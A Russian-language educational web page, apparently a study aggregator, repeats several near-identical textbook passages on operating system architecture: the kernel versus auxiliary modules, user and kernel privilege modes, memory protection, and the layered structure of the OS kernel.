Ядро и вспомогательные модули ос — Информатика, информационные технологии
Любая сложная система должна иметь понятную и рациональную структуру, то есть разделятся на модули, имеющие законченное функциональное назначение с четко оговоренными правилами взаимодействия. Ясное понимание роли каждого отдельного модуля существенно упрощает работу по модификации и развитию системы, а вот сложную систему, не обладающую хорошей структурой, но с понятной, логичной организацией бывает проще разработать заново, чем модернизировать. Качественная проработка структуры и внутренних межмодульных взаимодействий ОС является одной из важнейших задач, встающих перед разработчиками системы. Ошибки на этом этапе могут оказать решающее влияние на дальнейшую судьбу системы.
Функциональная сложность ОС неизбежно приводит к сложности ее архитектуры, под которой понимают структурную организацию ОС на основе различных программных модулей.
Большинство современных ОС представляют собой хорошо структурированные модульные системы, способные к развитию, расширению и переносу на новые платформы. Не существует какой-либо единой архитектуры, но есть универсальные подходы к структурированию ОС.
Наиболее общим подходом к структуризации ОС является разделение всех её модулей на две группы:
1)ядро – модули, выполняющие основные функции ОС;
2) модули ОС, выполняющие вспомогательные функции ОС.
Модули ядра выполняют такие базовые функции, как управление процессами, памятью, устройствами ввода-вывода и т.д. Ядро составляет самую главную часть ОС, без которой она является полностью неработоспособной и не может выполнять ни одну из своих функций. В ядре решаются внутрисистемные задачи организации вычислительного процесса, недоступные для приложений. Особый класс функций ядра служит для поддержки приложений, создавая для них так называемую прикладную программную среду. Приложения могут обращаться к ядру с запросами –системным вызовамидля выполнения тех или иных действий, например для открытия и чтения файла, вывода графической информации на дисплей, получения системного времени и т. д. Функции ядра, которые могут вызываться приложениями, образуют интерфейс прикладного программирования – API (Application Programming Interface).
В соответствии со своим назначением функции, выполняемые модулями ядра, являются наиболее часто используемыми функциями ОС, поэтому скорость их выполнения влияет на общую производительность вычислительной системы. Для обеспечения высокой скорости работы ОС все модули ядра или большая их часть постоянно находятся в оперативной памяти, то есть являются резидентными модулями ОС. Вследствие ограниченности такого ресурса системы, как оперативная память, важное значение имеет размер этих постоянно размещенных в памяти модулей. Если разработчик по каким-либо причинам сделает их слишком большими и громоздкими, то производительность ОС резко снизится, поскольку значительная часть ресурсов будет использоваться самой системой для обеспечения собственной работы.
Ядро – это основной элемент всех вычислительных процессов в системе, поэтому крах ядра приводит к краху всей вычислительной системы. Следовательно, разработчики ОС должны уделять надежности кодов ядра особое внимание, даже если при этом процесс их написания и отладки занимает очень длительное время. Как правило, ядро ОС оформляется в виде программного модуля специального формата, отличного от формата обычных пользовательских приложений.
Вспомогательные модули ОС выполняют не столь важные, как ядро, функции. Например, это могут быть программы архивирования данных, редактирования текстов и многое другое. Вспомогательные функции ОС, как правило, оформляются либо в виде пользовательских приложений, либо в виде библиотек процедур и функций. Вследствие того, что часть компонентов ОС разрабатывается в виде обычных приложений, имеющих стандартный для данной ОС формат, то зачастую очень сложно отделить вспомогательные модули ОС от обычных пользовательских приложений. По этой причине возникает некоторая размытость границ ОС. Решение о принадлежности какой-либо программы операционной системе принимает производитель ОС. Примером этого может являться web-браузер Internet Explorer компании Microsoft, который сначала поставлялся как отдельное приложение, а впоследствии стал частью ОС Windows 98 и Windows NT 4. 0.
Вспомогательные модули ОС, в свою очередь, делятся на следующие основные группы:
1) утилиты – программы, решающие отдельные задачи управления и сопровождения вычислительной системы, например программы архивации данных, сжатия дисков, тестирования дисков;
2) системные обрабатывающие программы – текстовые или графические редакторы, компиляторы, компоновщики, отладчики и другие программы, входящие в комплект поставки данной ОС;
3) программы предоставления пользователю дополнительных услуг – нестандартный вариант пользовательского интерфейса, включающий вспомогательные и даже игровые программы;
4) библиотеки процедур и функций различного назначения, облегчающие разработку пользовательских приложений, например библиотека математических функций, функций работы с устройствами ввода-вывода и т.д.
Как и обычные пользовательские приложения, все перечисленные группы вспомогательных модулей при выполнении своих задач обращаются к функциям ядра ОС. Схема взаимодействия ядра, вспомогательных модулей ОС и пользовательских приложений приведена на рисунке 1.
За счет разделения ОС на ядро и вспомогательные модули обеспечивается легкая расширяемость ОС. Действительно, для добавления новой высокоуровневой функции достаточно разработать соответствующее приложение, при этом не требуется модифицировать функции, составляющие ядро системы. С учетом того, что вспомогательные модули системы, как правило, оформляются в виде стандартных пользовательских приложений, их модификация или замена старых версий на более новые производится достаточно просто и может быть выполнена даже обычным пользователем с применением специальной системной утилиты – мастера обновлений. Достаточно только получить от производителя ОС файлы с обновленными модулями, запустить мастер обновления и указать ему расположение этих файлов. Гораздо более сложным является внесение изменений в функции ядра. Произвести такие действия по силам только квалифицированному специалисту, причем в зависимости от структурной организации ядра для этого может потребоваться даже полная его перекомпиляция.
Вспомогательные модули ОС обычно загружаются в оперативную память вычислительной системы только на время выполнения своих функций, то есть являются транзитными модулями ОС. Постоянно в оперативной памяти находятся лишь наиболее важные программы ОС, составляющие ее ядро. Применение подобной организации позволяет рационально использовать такой ресурс вычислительной системы, как оперативная память.
Требование обеспечения надежности выполнения приложений приводит к необходимости наличия у ОС некоторых привилегий. Необходимо предотвратить возможность вмешательства в работу ОС или разрушения какой-либо ее части вследствие выполнения некорректно работающих приложений. ОС должна обладать исключительными правами по отношению к другим приложениям. В мультипрограммных системах это просто необходимо для разрешения споров из-за ресурсов вычислительной системы между приложениями. Ни одно приложение не должно иметь возможности получать область оперативной памяти, занимать процессор или управлять другими ресурсами вычислительной системы без ведома ОС.
Несомненно, что обеспечение соответствующих привилегий ОС требует не только соответствующей программной, но и аппаратной поддержки. Аппаратура компьютера должна иметь возможность работать как минимум в двух режимах – пользовательском режиме (user mode) и привилегированном режиме, который также называется режимом ядра (kernel mode), или режимом супервизора (supervisor mode). В пользовательском режиме работы запрещено выполнение некоторых критичных для системы команд, связанных с переключением процессора между задачами, управлением устройствами ввода-вывода, доступом к механизмам распределения и защиты памяти. Некоторые команды в пользовательском режиме запрещено выполнять безусловно (например, команду перехода к привилегированному режиму работы), тогда как выполнение других запрещено только при определенных условиях. Однако контроль за выполнением этих условий находится в ведении ОС и обеспечивается за счет набора команд, которые безусловно запрещены для пользовательского режима. Например, контроль за доступом к памяти достигается за счет того, что команды конфигурирования механизмов защиты памяти разрешается выполнять только в привилегированном режиме, при этом пользовательскому приложению запрещается обращение к областям памяти, занимаемым ОС или другими приложениями. Таким образом становится возможной локализации некорректно работающего приложения в собственной области памяти, и его ошибки не влияют на остальные приложения и ОС.
Поддержка хотя бы двух уровней привилегий на уровне аппаратуры позволяет ОС программным путем построить многоуровневую иерархическую систему привилегий, обеспечивающую более качественное распределение полномочий между модулями ОС. Такой подход применяется для повышения устойчивости ОС к внутренним ошибкам программных кодов. Кроме того, многоуровневая система привилегий позволяет разработчикам ОС создавать более сложные алгоритмы управления вычислительным процессом с целью повышения рациональности использования разделяемых ресурсов.
Как уже было сказано, в ядре ОС осуществляются все основные функции. Вследствие этого именно ядро становится той частью ОС, которая выполняется в привилегированном режиме, а пользовательские приложения, соответственно, – в пользовательском режиме. Повышение устойчивости и надежности ОС, обеспечиваемое за счет работы ядра в привилегированном режиме, тем не менее приводит к замедлению выполнения приложений, поскольку для переключения процессора из пользовательского режима в привилегированный и обратно требуется некоторое, пусть и небольшое, время (рис. 2). Следовательно, во всех типах процессоров из-за дополнительной двукратной задержки переключения переход на процедуру со сменой режима выполняется медленнее, чем вызов процедуры без смены режима.
Описанная выше архитектура, основанная на привилегированном ядре и приложениях пользовательского режима, стала классической. Ее применяют многие популярные ОС, в том числе версии UNIX, VAX VMS, IBM OS/390, OS/2.
В процессорах Intel, используемых в персональных компьютерах, возможность работы в привилегированном режиме появилась уже начиная с процессора 80286. Однако разработчики широко распространенной ОС MS-DOS не использовали это свойство и их ОС всегда работает в так называемом реальном режиме. Некорректно написанные приложения вполне могут разрушить основные модули MS-DOS, что приведет к краху системы.
Многослойная структура ОС
Любая ОС является комплексом аппаратных и программных средств со сложными внутрисистемными связями. Поэтому разработка подобных систем требует применения специальных подходов и методов, позволяющих хотя бы в какой-то мере облегчить процесс проектирования и уменьшить количество ошибок взаимодействия между различными компонентами системы.
Существует универсальный и эффективный подход к построению сложной системы любого типа – многослойный подход. В соответствии с ним система делится на иерархию слоев, каждый из которых обслуживает вышележащий слой, выполняя для него некоторый набор функций, образующих так называемый межслойный интерфейс. Основываясь на функциях, предоставляемых нижележащим слоем, вышележащий слой строит свои более мощные функции, являющиеся основой для создания функций еще более высокого в иерархии слоя. Межслойные интерфейсы, с помощью которых происходит взаимодействие слоев, строго оговорены, тогда как связи между модулями внутри одного слоя могут быть произвольными.
Описанная организация системы существенно упрощает разработку, поскольку позволяет сначала определить “сверху вниз” функции слоев и межслойные интерфейсы, а затем при детальной реализации постепенно нарастить мощность функций слоев, двигаясь “снизу вверх”. Также важную роль играет возможность модификации модулей внутри слоя без изменения связанных с ним слоев при условии, что межслойные интерфейсы останутся неизменными. Разработчик, например, может усовершенствовать алгоритм какого-либо модуля одного из слоев, обеспечив тем самым повышение надежности или скорости его работы. При этом ему не придется вносить никаких изменений ни в один из выше или нижележащих слоев.
Если применить описанный подход к вычислительной системе, работающей под управлением ОС, построенной по классической архитектуре, то ее можно представить как систему, состоящую из трех иерархически связанных слоев, каждый из которых взаимодействует только со смежным ему слоем (рис. 3). При этом нижний слой составляет аппаратура, средний включает в себя ядро, а самый верхний – утилиты, системные обрабатывающие программы и приложения.
Однако не только система в целом, но и ядро ОС является сложным многофункциональным комплексом программ, а значит к нему, в свою очередь, также можно применить многослойный подход. Как правило, в ядре классической ОС выделяют следующие основные слои (рис. 4):
— средства аппаратной поддержки ОС, к которым относятся аппаратные средства системы, напрямую участвующие в вычислительном процессе: средства поддержки привилегированного режима и защиты областей памяти, система прерываний и т.д. Их можно считать составляющей частью ОС. Набор и функциональные возможности аппаратных средств могут меняться и определяются разработчиком конкретной системы;
— машинно-зависимые компоненты ОС, включающие в себя программные модули, отражающие специфику аппаратной платформы компьютера. Теоретически именно этот слой должен делать вышележащие слои ядра полностью независимыми от особенностей аппаратуры, что позволяет разрабатывать машинно-независимые вышележащие слои и обеспечивать тем самым возможность переносимости ОС;
— базовые механизмы ядра, выполняющие наиболее примитивные операции ядра, например контекстное переключение процессов, перемещение участков памяти на диск и обратно и т. д. Модули данного ядра не принимают решения о распределении ресурсов вычислительной системы, а только отрабатывают принятые вышележащими слоями решения;
— менеджеры ресурсов, реализующие задачи по стратегическому управлению основными ресурсами вычислительной системы. Слой состоит из сложных и мощных функциональных модулей. Каждый менеджер ресурсов(называемый также диспетчером) ведет учет свободных и используемых ресурсов соответствующего типа и планирует их распределение в соответствии с запросами приложений. Менеджер должен отслеживать интенсивность обращений к ресурсу, длительность его применения и многие другие параметры с целью рационального планирования использования ресурсов. Взаимосвязь модулей внутри данного слоя обусловлена необходимостью доступа процесса к нескольким ресурсам одновременно. Например, при создании процесса менеджер процессов обращается к менеджеру памяти, который должен выделить этому процессу определенную область памяти для размещения его кодов и данных. Для управления ресурсами менеджеры ресурсов используют функции нижележащего слоя – базовых механизмов ядра;
— интерфейс системных вызовов непосредственно взаимодействует с приложениями и системными утилитами, образуя прикладной программный интерфейс операционной системы (API). Является самым верхним слоем в иерархи слоев ядра. Обслуживающие системные вызовы функции API предоставляют доступ к ресурсам вычислительной системы в удобной и компактной форме без указания деталей их физического расположения.
Приведенное деление ядра на слои является достаточно условным и в реальных ОС количество слоев, а также распределение функций между ними может быть несколько иным. Это обусловлено аппаратной платформой, для которой разрабатывается ОС, сферой использования ОС, соображениями разработчиков и т.п. Задача деления ядра на слои является крайне ответственной и важной. В самом деле, неоправданное увеличение числа слоев приводит к замедлению работы системы из-за увеличения времени межслойных взаимодействий. В целях ускорения работы ядра и ОС в целом разработчики могут прибегать к нарушению иерархии слоев, при этом возможны ситуации, когда вышележащий слой обращается к функциям нижних слоев, минуя промежуточные. Уменьшение количества слоев ядра оказывает отрицательное влияние на логичность и расширяемость ОС. Особенно сильно такие нарушения могут сказаться на переносимости ОС, если какой-либо из вышележащих слоев содержит машинно-зависимые функции. В этом случае особенности конкретной аппаратной платформы не локализуются в пределах одного из нижних слоев, и перенос такой системы с одного типа аппаратуры на другой является весьма трудновыполнимой задачей.
Статьи к прочтению:
01 — Модули ядра Linux. Введение
Похожие статьи:
12.Архитектура ос. Ядро и вспомогательные модули ос. Режимы работы ос.
В состав ОС входят исполняемые и объектные модули стандартных для данной ОС форматов, библиотеки разных типов, модули исходного текста программ, программные модули специального формата (например, загрузчик ОС, драйверы ввода-вывода), конфигурационные файлы, файлы документации, модули справочной системы и т. д.
Большинство современных ОС представляют собой хорошо структурированные модульные системы, способные к развитию, расширению и переносу на новые платформы. Какой-либо единой архитектуры ОС не существует, но существуют универсальные подходы к структурированию ОС.
Ядро и вспомогательные модули ос
Модули ОС делятся на две группы:
— ядро — модули, выполняющие основные функции ОС;
— модули, выполняющие вспомогательные функции ОС.
Модули ядра выполняют такие базовые функции ОС, как управление процессами, памятью, устройствами ввода-вывода и т. п. Ядро составляет сердцевину операционной системы, без него ОС является полностью неработоспособной и не сможет выполнить ни одну из своих функций.
В состав ядра входят функции, решающие внутрисистемные задачи организации вычислительного процесса, такие как переключение контекстов, загрузка/выгрузка страниц, обработка прерываний. Эти функции недоступны для приложений. Другой класс функций ядра служит для поддержки приложений, создавая для них так называемую прикладную программную среду. Приложения могут обращаться к ядру с запросами — системными вызовами — для выполнения тех или иных действий, например для открытия и чтения файла, вывода графической информации на дисплей, получения системного времени и т. д. Функции ядра, которые могут вызываться приложениями, образуют интерфейс прикладного программирования — API.
Функции, выполняемые модулями ядра, являются наиболее часто используемыми функциями ОС, поэтому скорость их выполнения определяет производительность всей системы в целом. Для обеспечения высокой скорости работы ОС все модули ядра или большая их часть постоянно находятся в оперативной памяти, то есть являются резидентными.
Ядро является движущей силой всех вычислительных процессов в компьютерной системе, и крах ядра равносилен краху всей системы. Поэтому разработчики операционной системы уделяют особое внимание надежности кодов ядра, в результате процесс их отладки может растягиваться на многие месяцы.
Обычно ядро оформляется в виде программного модуля некоторого специального формата, отличающегося от формата пользовательских приложений.
Термин «ядро» в разных ОС трактуется по-разному. Одним из определяющих свойств ядра является работа в привилегированном режиме.
Остальные модули ОС выполняют весьма полезные, но менее обязательные функции. Например, к таким вспомогательным модулям могут быть отнесены программы архивирования данных на магнитной ленте, дефрагментации диска, текстового редактора. Вспомогательные модули ОС оформляются либо в виде приложений, либо в виде библиотек процедур.
Поскольку некоторые компоненты ОС оформлены как обычные приложения, то есть в виде исполняемых модулей стандартного для данной ОС формата, то часто бывает очень сложно провести четкую грань между операционной системой и приложениями
Решение о том, является ли какая-либо программа частью ОС или! нет, принимает производитель ОС. Среди многих факторов, способных повлиять на это решение, немаловажными являются перспективы того, будет ли программа иметь массовый спрос у потенциальных пользователей данной ОС.
Некоторая программа может существовать определенное время как пользовательское приложение, а потом стать частью ОС, или наоборот. Ярким примером такого изменения статуса программы является Web-браузер компании Microsoft, который сначала поставлялся как отдельное приложение, затем стал частью операционных систем Windows NT 4.0 и Windows 95/98, а сегодня существует большая вероятность того, что по решению суда этот браузер снова превратится в самостоятельное приложение.
Ядро и вспомогательные модули ОС
Архитектура операционной системы
Функциональная сложность ОС неизбежно приводит к сложности ее архитектуры, под которой понимают структурную организацию ОС на основе различных программных модулей. Обычно в состав ОС входят исполняемые и объектные модули стандартных для данной ОС форматов, библиотеки разных типов, модули исходного текста программ, программные модули специального формата (например, загрузчик ОС, драйверы ввода-вывода), конфигурационные файлы, файлы документации, модули справочной системы и т.
Большинство современных ОС представляют собой хорошо структурированные модульные системы, способные к развитию, к расширению и переносу на новые платформы. Какой-либо единой архитектуры ОС не существует, но существуют универсальные подходы к структурированию ОС.
Ядро и вспомогательные модули ОС
Наиболее общим подходом к структуризации ОС является разделение всех её модулей на две группы:
· ядро – модули, выполняющие основные функции ОС( управление процессами, памятью, устройствами ввода-вывода и т.п.)
· модули, выполняющие вспомогательные функции.
Термин “ядро” в разных ОС трактуется по-разному. Одним из определяющих свойств является работа в привилегированном режиме. Ядро ОС – это часть ОС, как правило, постоянно находящаяся в ОП, выполняющая основные функции ОС в привилегированном режиме работы процессора.
В состав ядра входят функции
· решающие внутрисистемные задачи организации вычислительного процесса, такие как переключение контекстов, загрузка/выгрузка страниц, обработка прерываний. Эти функции не доступны для приложений.
· для поддержки приложений, создавая для них прикладную программную среду. Приложения могут обращаться к ядру с запросами – системными вызовами – для выполнения тех или иных действий, например для открытия и чтения файла, вывода графической информации на дисплей, получения системного времени и т. д. Функции ядра, которые могут вызывать приложения, образуют интерфейс прикладного программирования – API.
Функции, выполняемые модулями ядра, являются наиболее часто используемыми функциями ОС, поэтому скорость их выполнения определяет производительность всей системы в целом. Для обеспечения высокой скорости работы ОС все модули ядра или их часть постоянно находится в ОП, т. е. являются резидентными.
Ядро является движущей силой всех вычислительных процессов в компьютерной системе, и крах ядра равносилен краху всей системы. Поэтому разработчики ОС уделяют особое внимание надежности кодов ядра, в результате процесс их отладки может растягиваться на многие месяцы. Обычно ядро оформляется в виде программного модуля некоторого специального формата.
Остальные модули ОС выполняют весьма полезные, но менее обязательные функции. Вспомогательные модули ОС оформляются либо в виде приложений, либо в виде библиотек процедур. Поскольку некоторые компоненты ОС оформлены как обычные приложения, т. е. в виде исполняемых модулей стандартного для данного ОС формата, то часто бывает очень сложно провести четкую грань между ОС и приложениями (рис. 1).
Решение о том, является ли какая-либо программа частью ОС или нет, принимает производитель ОС. Среди многих фактов, способных повлиять на это решение, немало важными являются перспективы того, будет программа иметь массовый спрос у потенциальных пользователей данной ОС. Некоторая программа может существовать определенное время как пользовательское приложение, а потом стать частью ОС, или наоборот. Ярким примером такого изменения статуса программы является Web-браузер компании Microsoft, который сначала поставлялся как отдельное приложение, затем стал частью ОС Windows NT 4. 0 и Windows 95/98,
dfd
— Вспомогательные модули ОС. — Пользовательские приложения.
Рис. 1. Нечеткость границы между ОС и приложениями.
Вспомогательные модули ОС обычно подразделяются на следующие группы:
· Утилиты – программы, решающие отдельные задачи управления и сопровождения компьютерной системы, например, программы сжатия дисков, архивирование данных
· Системные обрабатывающие программы – текстовые или графические редакторы, компиляторы, компоновщики, отладчики;
· Программы предоставления пользователю дополнительных услуг – специальный вариант пользовательского интерфейса, калькулятор и даже игры;
· Библиотеки процедур разного назначения, упрощающие разработку приложений, например библиотека математических функций, функций ввода-вывода и т. д.
Как и обычные приложения, для выполнения своих задач утилиты, обрабатывающие программы и библиотеки ОС, обращаются к функциям ядра посредством системны вызовов.
Разделение ОС на ядро и модули-приложения обеспечивает легкую расширяемость ОС. Чтобы добавить новую высокоуровневую функцию, достаточно разработать новое приложение, и при этом не требуется модифицировать ответственные функции, образующие ядро системы. Однако внесение изменений в функции ядра может оказаться гораздо сложнее, и сложность эта зависит от структурной организации самого ядра. В некоторых случаях каждое исправление ядра может потребовать его полной компиляции.
Модули ОС, оформленные в виде утилит, системных обрабатывающих программ и библиотек, обычно загружаются в ОП только на время выполнения своих функций, т. е. являются транзитными. Постоянно в ОП располагаются только самые необходимые коды ОС, составляющие ее ядро. Такая организация ОС экономит ОП компьютера.
Важным свойством архитектуры ОС, основанной на ядре, является возможность защиты кодов и данных ОС за счет выполнения функций ядра в привилегированном режиме.
Узнать еще:
Ядро и вспомогательные модули ОС. Ядро в привилегированном режиме
Любая хорошо организованная сложная система имеет понятную и рациональную структуру, то есть разделяется на части — модули, имеющие вполне законченное функциональное назначение с четко оговоренными правилами взаимодействия. Ясное понимание роли каждого отдельного модуля существенно упрощает работу по модификации и развитию системы, а сложную систему без хорошей структуры чаще проще разработать заново, чем модернизировать.
Функциональная сложность операционной системы неизбежно приводит к сложности ее архитектуры, под которой понимают структурную организацию ОС на основе различных программных модулей. Обычно в состав ОС входят исполняемые и объектные модули стандартных для данной ОС форматов, библиотеки разных типов, модули исходного текста программ, программные модули специального формата (например, загрузчик ОС, драйверы ввода-вывода), конфигурационные файлы, файлы документации, модули справочной системы и т. д.
Большинство современных операционных систем представляют собой хорошо структурированные модульные системы, способные к развитию, расширению и переносу на новые платформы. Какой-либо единой архитектуры ОС не существует, но существуют универсальные подходы к структурированию ОС.
Наиболее общим подходом к структуризации операционной системы является разделение всех ее модулей на две группы:
· ядро — модули ОС, выполняющие основные функции;
· модули, выполняющие вспомогательные функции ОС.
Модули ядра выполняют такие базовые функции ОС, как управление процессами, памятью, устройствами ввода-вывода и т. п. Ядро составляет сердцевину операционной системы. Без него ОС является полностью неработоспособной и не сможет выполнить ни одну из своих функций.
В состав ядра входят функции, решающие внутрисистемные задачи организации вычислительного процесса, такие, как переключение контекстов, загрузка/выгрузка страниц, обработка прерываний. Эти функции недоступны для приложений. Другой класс функций ядра служит для поддержки приложений, создавая для них так называемую прикладную программную среду. Приложения могут обращаться к ядру с запросами — системными вызовами — для выполнения тех или иных действий, например, для открытия и чтения файла, вывода графической информации на дисплей, получения системного времени и т. д. Функции ядра, которые могут вызываться приложениями, образуют интерфейс прикладного программирования — API.
Функции, выполняемые модулями ядра, являются наиболее часто используемыми функциями операционной системы, поэтому скорость их выполнения определяет производительность всей системы в целом. Для обеспечения высокой скорости работы ОС все модули ядра или большая их часть постоянно находятся в оперативной памяти, то есть являются резидентными.
Ядро является движущей силой всех вычислительных процессов в компьютерной системе, и крах ядра равносилен краху всей системы. Поэтому разработчики операционной системы уделяют особое внимание надежности кодов ядра, в результате процесс их отладки может растягиваться на многие месяцы.
Обычно ядро оформляется в виде программного модуля некоторого специального формата, отличающегося от формата пользовательских приложений. Термин «ядро» в разных ОС трактуется по-разному. Одним из определяющих свойств ядра является работа в привилегированном режиме.
Остальные модули ОС выполняют весьма полезные, но менее обязательные функции. Например, к таким вспомогательным модулям могут быть отнесены программы архивирования данных на магнитной ленте, дефрагментации диска, текстового редактора. Вспомогательные модули ОС оформляются либо в виде приложений, либо в виде библиотек процедур.
Поскольку некоторые компоненты ОС оформлены как обычные приложения, то есть в виде исполняемых модулей стандартного для данной ОС формата, то часто бывает очень сложно провести четкую грань между операционной системой и приложениями. Решение о том, является какая-либо программа частью ОС или нет, принимает производитель ОС. Среди многих факторов, способных повлиять на это решение, немаловажными являются перспективы того, будет ли программа иметь массовый спрос у потенциальных пользователей данной ОС.
Вспомогательные модули ОС обычно подразделяются на следующие группы:
· утилиты -программы, решающие отдельные задачи управления и сопровождения компьютерной системы, такие, например, как программы сжатия дисков, архивирования данных на магнитную ленту;
· системные обрабатывающие программы — текстовые или графические редакторы, компиляторы, компоновщики, отладчики;
· программы предоставления пользователю дополнительных услуг – специальный вариант пользовательского интерфейса, калькулятор и даже игры;
· библиотеки процедур различного назначения, упрощающие разработку приложений, например библиотека математических функций, функций ввода-вывода и т. д.
Как и обычные приложения, утилиты, обрабатывающие программы и библиотеки ОС для выполнения своих задач, обращаются к функциям ядра посредством системных вызовов.
Разделение операционной системы на ядро и модули-приложения обеспечивает легкую расширяемость ОС. Чтобы добавить новую высокоуровневую функцию, достаточно разработать новое приложение, и при этом не требуется модифицировать ответственные функции, образующие ядро системы. Однако внесение изменений в функции ядра может оказаться гораздо сложнее, и сложность эта зависит от структурной организации самого ядра. В некоторых случаях каждое исправление ядра может потребовать его полной перекомпиляции.
Модули ОС, оформленные в виде утилит, системных обрабатывающих программ и библиотек, обычно загружаются в оперативную память только на время выполнения своих функций, то есть являются транзитными. Постоянно в оперативной памяти располагаются только самые необходимые коды ОС, составляющие ее ядро. Такая организация ОС экономит оперативную память компьютера.
Важным свойством архитектуры ОС, основанной на ядре, является возможность защиты кодов и данных операционной системы за счет выполнения функций ядра в привилегированном режиме.
Для надежного управления ходом выполнения приложений операционная система должна иметь по отношению к приложениям определенные привилегии. Иначе некорректно работающее приложение может вмешаться в работу ОС и, например, разрушить часть ее кодов. Операционная система должна обладать исключительными полномочиями также для того, чтобы играть роль арбитра в споре приложений за ресурсы компьютера в мультипрограммном режиме. Ни одно приложение не должно иметь возможности без ведома ОС получать дополнительную область памяти, занимать процессор дольше разрешенного операционной системой периода времени, непосредственно управлять совместно используемыми внешними устройствами.
Обеспечить привилегии операционной системе невозможно без специальных средств аппаратной поддержки. Аппаратура компьютера должна поддерживать как минимум два режима работы — пользовательский режим (user mode) и привилегированный режим, который также называют режимом ядра (kernel mode) или режимом супервизора (supervisor mode). Подразумевается, что операционная система или некоторые ее части работают в привилегированном режиме, а приложения — в пользовательском режиме.
Так как ядро выполняет все основные функции ОС, то чаще всего именно ядро становится той частью ОС, которая работает в привилегированном режиме. Иногда это свойство — работа в привилегированном режиме — служит основным определением понятия «ядро».
Приложения ставятся в подчиненное положение за счет запрета выполнения в пользовательском режиме некоторых критичных команд, связанных с переключением процессора с задачи на задачу, управлением устройствами ввода-вывода, доступом к механизмам распределения и защиты памяти. Выполнение некоторых инструкций в пользовательском режиме запрещается безусловно (очевидно, что к таким инструкциям относится инструкция перехода в привилегированный режим), тогда как другие запрещается выполнять только при определенных условиях. Важно, что условия разрешения выполнения критичных инструкций находятся под полным контролем ОС, и этот контроль обеспечивается за счет набора инструкций, безусловно запрещенных для пользовательского режима.
Аналогичным образом обеспечиваются привилегии ОС при доступе к памяти. Например, выполнение инструкции доступа к памяти для приложения разрешается, если инструкция обращается к области памяти, отведенной данному приложению операционной системой, и запрещается при обращении к областям памяти, занимаемым ОС или другими приложениями. Полный контроль ОС над доступом к памяти достигается за счет того, что инструкции конфигурирования механизмов защиты памяти разрешается выполнять только в привилегированном режиме.
Очень важно, что механизмы защиты памяти используются операционной системой не только для защиты своих областей памяти от приложений, но и для защиты областей памяти, выделенных ОС какому-либо приложению, от остальных приложений. Говорят, что каждое приложение работает в своем адресном пространстве. Это свойство позволяет локализовать некорректно работающее приложение в собственной области памяти, так что его ошибки не оказывают влияния на остальные приложения и операционную систему. Между количеством уровней привилегий, реализуемых аппаратно, и количеством уровней привилегий, поддерживаемых ОС, нет прямого соответствия. Так, на базе четырех уровней, обеспечиваемых процессорами компании Intel, операционные системы Windows NT, UNIX и некоторые другие ограничиваются двухуровневой системой.
С другой стороны, если аппаратура поддерживает хотя бы два уровня привилегий, то ОС может на этой основе создать программным способом сколь угодно развитую систему защиты. На основе двух режимов привилегий процессора ОС может построить сложную систему индивидуальной защиты ресурсов, примером которой является типичная система защиты файлов и каталогов. Такая система позволяет задать для любого пользователя определенные права доступа к каждому из файлов и каталогов.
Однако, повышение устойчивости операционной системы, обеспечиваемое переходом ядра в привилегированный режим, достигается за счет некоторого замедления выполнения системных вызовов. Системный вызов привилегированного ядра инициирует переключение процессора из пользовательского режима в привилегированный, а при возврате к приложению — переключение из привилегированного режима в пользовательский. Во всех типах процессоров из-за дополнительной двукратной задержки переключения переход на процедуру со сменой режима выполняется медленнее, чем вызов процедуры без смены режима.
Архитектура ОС, основанная на привилегированном ядре и приложениях пользовательского режима, стала, по существу, классической. Ее используют многие популярные операционные системы, в том числе многочисленные версии UNIX, OS/2, и с определенными модификациями — Windows NT.
В некоторых случаях разработчики ОС отступают от этого классического варианта архитектуры, организуя работу ядра и приложений в одном и том же режиме. Так, известная специализированная операционная система NetWare компании Novell использует привилегированный режим процессоров Intel x86/ Pentium как для работы ядра, так и для работы своих специфических приложений – загружаемых модулей NLM. При таком построении ОС обращения приложений к ядру выполняются быстрее, так как нет переключения режимов, однако при этом отсутствует надежная аппаратная защита памяти, занимаемой модулями ОС, от некорректно работающего приложения. Разработчики NetWare пошли на такое потенциальное снижение надежности своей операционной системы, поскольку ограниченный набор ее специализированных приложений позволяет компенсировать этот архитектурный недостаток за счет тщательной отладки каждого приложения.
Узнать еще:
Ядро и вспомогательные модули ОС
Наиболее общим подходом к структуризации операционной системы является разделение всех ее модулей на две группы:
ядро — модули ОС, выполняющие основные функции;
модули, выполняющие вспомогательные функции ОС.
Модули ядра выполняют такие базовые функции ОС, как управление процессами, памятью, устройствами ввода-вывода и т. п. Ядро составляет сердцевину операционной системы. Без него ОС является полностью неработоспособной и не сможет выполнить ни одну из своих функций.
В состав ядра входят функции, решающие внутрисистемные задачи организации вычислительного процесса, такие, как переключение контекстов, загрузка/выгрузка страниц, обработка прерываний. Эти функции недоступны для приложений. Другой класс функций ядра служит для поддержки приложений, создавая для них так называемую прикладную программную среду. Приложения могут обращаться к ядру с запросами — системными вызовами — для выполнения тех или иных действий, например, для открытия и чтения файла, вывода графической информации на дисплей, получения системного времени и т. д. Функции ядра, которые могут вызываться приложениями, образуют интерфейс прикладного программирования — API.
Функции, выполняемые модулями ядра, являются наиболее часто используемыми функциями операционной системы, поэтому скорость их выполнения определяет производительность всей системы в целом. Для обеспечения высокой скорости работы ОС все модули ядра или большая их часть постоянно находятся в оперативной памяти, то есть являются
резидентными.
Ядро является движущей силой всех вычислительных процессов в компьютерной системе, и крах ядра равносилен краху всей системы. Поэтому разработчики операционной системы уделяют особое внимание надежности кодов ядра, в результате процесс их отладки может растягиваться на многие месяцы.
Обычно ядро оформляется в виде программного модуля некоторого специального формата, отличающегося от формата пользовательских приложений. Термин «ядро» в разных ОС трактуется по-разному. Одним из определяющих свойств ядра является работа в привилегированном
режиме.
Остальные модули ОС выполняют весьма полезные, но менее обязательные функции. Например, к таким вспомогательным модулям могут быть отнесены программы архивирования данных на магнитной ленте, дефрагментации диска, текстового редактора. Вспомогательные модули ОС оформляются либо в виде приложений, либо в виде библиотек про-цедур.
Поскольку некоторые компоненты ОС оформлены как обычные приложения, то есть в виде исполняемых модулей стандартного для данной ОС формата, то часто бывает очень сложно провести четкую грань между операционной системой и приложениями. Решение о том, является какая-либо программа частью ОС или нет, принимает производитель ОС. Среди многих факторов, способных повлиять на это решение, немаловажными являются перспективы того, будет ли программа иметь массовый спрос у потенциальных пользователей данной ОС.
Вспомогательные модули ОС обычно подразделяются на следующие группы:
утилиты -программы, решающие отдельные задачи управления и сопровождения компьютерной системы, такие, например, как программы сжатия дисков, архивирования данных на магнитную ленту;
